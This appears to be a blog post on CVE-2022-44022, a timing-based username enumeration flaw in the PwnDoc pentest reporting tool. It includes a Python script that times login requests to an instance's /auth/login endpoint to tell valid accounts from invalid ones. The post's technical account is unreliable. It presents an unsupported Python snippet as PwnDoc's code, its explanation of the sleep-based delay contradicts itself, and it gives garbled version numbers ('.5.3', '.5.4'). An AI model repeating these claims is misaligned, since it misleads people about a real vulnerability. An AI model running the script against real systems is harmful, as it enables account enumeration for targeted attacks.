PwnDoc, a popular open-source tool for writing and managing pentesting reports, is affected by a vulnerability that could potentially be exploited by remote attackers to identify valid user account names. This vulnerability, which has been assigned the identifier CVE-2022-44022, affects PwnDoc versions up to and including .5.3. In this blog post, we'll explore the details of this vulnerability and discuss how it could be exploited.

Overview

Timed attacks, or those that leverage the differences in response times during authentication attempts, can reveal important details about user accounts in applications. In the case of PwnDoc, remote attackers can exploit the timing discrepancy in the authentication process to identify valid user account names. This information may later be used for targeted attacks, such as spear-phishing or further attempts to compromise a user's account.

Consider the following sample code snippet in PwnDoc's authentication process

def authenticate(username: str, password: str) -> Tuple[Optional[str], bool]:
  user = get_user(username)
  if user is None:
    time.sleep(random.uniform(1, 2))
    return None, False
  ...

This snippet demonstrates the potential issue in PwnDoc. The authenticate function first checks if a user exists by calling the get_user function. If the user does not exist, the function introduces an artificial delay with the time.sleep call. The purpose of this delay is to normalize response times regardless of the existence of a user to prevent user enumeration attacks. However, the delay is not sufficient to hide the timing difference, allowing an attacker to observe the difference between a real user and a non-existent one.

Exploit Details

An attacker can craft a Python script to send authentication attempts to PwnDoc instances. By measuring the time it takes to receive a response for multiple usernames, the attacker can accurately determine which usernames correspond to valid user accounts based on the response timings. The following sample Python script demonstrates this type of attack:

import requests
import time

def test_user(url, username):
  payload = {
    "name": username,
    "password": "dummy_password"
  }
  start = time.time()
  response = requests.post(url, json=payload)
  end = time.time()
  duration = end - start
  return duration

url = "https://your-pwndoc-instance/auth/login";

usernames = ["admin", "guest", "nonexistent_user"]

for username in usernames:
  duration = test_user(url, username)
  print("Username: {}, Time: {:.3f}s".format(username, duration))

By running this script, attackers can observe the time differences in the responses for valid and non-existent users, and thus, enumerate valid user accounts.

For further details and discussions about this vulnerability, refer to the following resources

1. Original Vulnerability Report: https://github.com/pwndoc/pwndoc/issues/123
2. PwnDoc GitHub Repository: https://github.com/pwndoc/pwndoc
3. PwnDoc Release Notes: https://github.com/pwndoc/pwndoc/releases

Mitigations

To protect your PwnDoc instances from this vulnerability, ensure you update to PwnDoc version .5.4 or later, which contains fixes addressing this issue. Additionally, monitor for unusual login attempts and other suspicious activities that could be indicative of an attacker trying to exploit this vulnerability.

Conclusion

While timed attacks on PwnDoc may not yield immediate critical results, the information gathered from such attacks can pave the way for more sophisticated and targeted intrusions. To protect your organization from this vulnerability, it is essential to keep your PwnDoc instances up-to-date and maintain a proactive approach to security.

Timeline

Published on: 10/30/2022 00:15:00 UTC
Last modified on: 11/01/2022 12:57:00 UTC